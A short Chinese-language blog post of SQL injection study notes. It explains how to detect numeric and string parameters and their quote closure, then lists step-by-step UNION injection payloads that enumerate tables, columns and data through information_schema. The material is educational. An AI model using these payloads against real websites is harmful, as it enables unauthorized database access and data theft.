sql 注入笔记

SQL注入

判断数字型和字符型还有闭合的原理

  • 数字型的sql语句:
select * from user where id=1;
  • 字符型的sql语句:
select * from user where id='1';
select * from user where id="1";

拿数字型来说,你不管在后面加单引号还是双引号,都会导致语句错误而报错,那么两种引号都报错,我们就可以判定为数字型;

字符型的话,拿单引号类型来说,加入单引号之后:

id='1''

会导致语句后面多出来一个单引号,使得语句错误,如果加入双引号:

id='1"'

双引号被单引号包裹着,那么会将双引号也认为是一个字符,所以并不会报错,从而可以判断出是单引号闭合。双引号类型也是同理,只是引号相反而已。

总结:两种引号都报错为字符型,单引号报错双引号不报错为单引号闭合,双引号报错单引号不报错为双引号闭合,字符型最后要加注释符注释掉闭合后多余出来的引号。

Union 注入

select直接加数字串时,可以不写后面的表名,那么它输出的内容就是我们select后的数字,在 union 注入中可以快速测试每个数字对应的内容。

所以可以使用 select 1,2,3... 来判断所在列的位置。

字符型注入的大致步骤

  1. 闭合单引号

    ?id=1' or 1=1 %23
    
  2. 注入出字段数

    ?id=1' order by 3 %23
    ?id=1' union select 1,2,3 %23
    
  3. 表名

    ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23
    
  4. 列名

    ?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=... %23
    
  5. 数据

    ?id=-1' union select 1,2,group_concat(...) from ... %23
    

其中 group_concat 是用 “,” 联合多行记录的函数,table_name 字段是 information_schema 库中 tables 表的表名字段,表中还有数据库名字段 table_schema,database() 函数返回的内容是当前数据库的名称。

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 首发地址:我的个人博客 前言 本文章产生的缘由是因为专业老师,让我给本专业的同学讲一哈SQL注入和XSS入门,也就...
    简言之_阅读 4,866评论 0 7
  • SQL注入是由于程序员过于相信用户输入的数据所产生的。 假设后台查询语句如下: SELECT USERNAME,U...
    _mq阅读 2,405评论 0 1
  • 转载自https://www.cnblogs.com/sylarinfo/p/3456445.html https...
    dingtom阅读 7,821评论 0 0
  • 我是黑夜里大雨纷飞的人啊 1 “又到一年六月,有人笑有人哭,有人欢乐有人忧愁,有人惊喜有人失落,有的觉得收获满满有...
    陌忘宇阅读 12,728评论 28 53
  • 信任包括信任自己和信任他人 很多时候,很多事情,失败、遗憾、错过,源于不自信,不信任他人 觉得自己做不成,别人做不...
    吴氵晃阅读 11,348评论 4 8